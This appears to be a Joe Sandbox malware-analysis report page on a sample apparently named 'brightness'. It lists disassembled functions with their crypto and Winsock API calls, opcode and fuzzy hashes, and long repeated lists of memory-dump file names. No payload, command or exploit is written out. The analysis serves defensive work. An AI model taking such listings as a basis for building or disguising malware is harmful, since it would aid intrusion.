Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 5de7d8182707d0f3bcf97045f9bbcc9f0feaad279b19af0a7e4428fa408be844
Instruction ID: da875a0835983716eb49b5b10d86b0b9f8ab0cf822e3b9690bc0c126467fac3c
Opcode Fuzzy Hash: 5de7d8182707d0f3bcf97045f9bbcc9f0feaad279b19af0a7e4428fa408be844
Instruction Fuzzy Hash: 25E01735911209EBCB15DFA4E888BADB778EB0470AF208186E905A22A0C3755EA4DB80

Function 002DBFD9 Relevance: 3.0, APIs: 2, Instructions: 16encryptionCOMMON

Download Yara Rule

APIs

CryptReleaseContext.ADVAPI32(00000000,00000000,?,?,?,002C9E2A,00000000), ref: 002DC06A
CryptDestroyHash.ADVAPI32(00000000,?,?,?,002C9E2A,00000000), ref: 002DC07A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Crypt$ContextDestroyHashRelease
String ID:
API String ID: 3989222877-0
Opcode ID: 29ca8b631c722d3b780cc78fb638a64d1edb633fd2369b9a243cf86a3aea2a56
Instruction ID: da875a0835983716eb49b5b10d86b0b9f8ab0cf822e3b9690bc0c126467fac3c
Opcode Fuzzy Hash: 29ca8b631c722d3b780cc78fb638a64d1edb633fd2369b9a243cf86a3aea2a56
Instruction Fuzzy Hash: 25E01735911209EBCB15DFA4E888BADB778EB0470AF208186E905A22A0C3755EA4DB80

Function 002D1690 Relevance: 1.9, Strings: 1, Instructions: 663COMMON

Download Yara Rule

Strings

@, xrefs: 002D1992

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: da476ffe59913d7d5caf7e5f659aba0fb4c2d5a17d422f329ab8587546812b84
Instruction ID: 4f01fe7bc46dcc8119995ef756c9c225c6e10cc9ccbc24ba44535591827040df
Opcode Fuzzy Hash: da476ffe59913d7d5caf7e5f659aba0fb4c2d5a17d422f329ab8587546812b84
Instruction Fuzzy Hash: 6472BFB4915229DBDB69CF58CC98BE9B7B2BF98304F1481DAD409AB341C735AE91CF40

Function 002DF690 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 002E0790: WSACreateEvent.WS2_32 ref: 002E0796
Part of subcall function 002E0790: WSAEventSelect.WS2_32(?,00000000,00000001), ref: 002E07B3
Part of subcall function 002E0790: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 002E07F3
Part of subcall function 002E0790: WSACloseEvent.WS2_32(00000000), ref: 002E0800

___crtGetLocaleInfoEx.LIBCMTD ref: 002DF6EA

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt
String ID:
API String ID: 3201519519-0
Opcode ID: bde5e825d952b8bc264e53f7330cbdb12c80d4a380823f7c5303a601c813b495
Instruction ID: b6cacc9a47bb32ce33f92f2c74b084b96079f32a0a9d52fa4f24ef479996fb44
Opcode Fuzzy Hash: bde5e825d952b8bc264e53f7330cbdb12c80d4a380823f7c5303a601c813b495
Instruction Fuzzy Hash: B621F7B5D1020AEFDB44DF98C980AEEB7B5FF48304F10859AE825A7341D374AA61CF94

Function 002DF730 Relevance: 1.6, APIs: 1, Instructions: 58COMMON

Download Yara Rule

APIs

Part of subcall function 002E0870: WSACreateEvent.WS2_32 ref: 002E0876
Part of subcall function 002E0870: WSAEventSelect.WS2_32(?,00000000,00000002), ref: 002E0893
Part of subcall function 002E0870: WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000001,00000000), ref: 002E08D3
Part of subcall function 002E0870: WSACloseEvent.WS2_32(00000000), ref: 002E08E0

___crtGetLocaleInfoEx.LIBCMTD ref: 002DF78A

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Event$CloseCreateEventsInfoLocaleMultipleSelectWait___crt
String ID:
API String ID: 3201519519-0
Opcode ID: 7e220d92a5a058f8ef472217d2b8b48152e192a83d116e355737832c339dc423
Instruction ID: 5db6b707c529a4420ba708cabe698aa37ca0fa993a00218193b15622fbc33142
Opcode Fuzzy Hash: 7e220d92a5a058f8ef472217d2b8b48152e192a83d116e355737832c339dc423
Instruction Fuzzy Hash: 81210BB4D1020AEFEB44DF98C980AEEB7B4FF48304F10859AE825A7345D7749A61CF94

Function 002D77F0 Relevance: 1.5, APIs: 1, Instructions: 48nativeCOMMON

Download Yara Rule

APIs

NtdllDefWindowProc_W.NTDLL(?,?,?,?), ref: 002D7871

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: NtdllProc_Window
String ID:
API String ID: 4255912815-0
Opcode ID: 5e8f087c60e4c815a45c092315e1e33cfddc6570d9b4ede716a13030266d60ff
Instruction ID: 77c5819acb3f7c6a57b4f077e33f1673f7983233f8b448475da8709bca160453
Opcode Fuzzy Hash: 5e8f087c60e4c815a45c092315e1e33cfddc6570d9b4ede716a13030266d60ff
Instruction Fuzzy Hash: 8E01213093C149EBDB14DE98C41CAAE7264EB04341F20851BF406D7341E6F9CEA0FB52

Function 002F1B14 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

N@, xrefs: 002F1B24

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
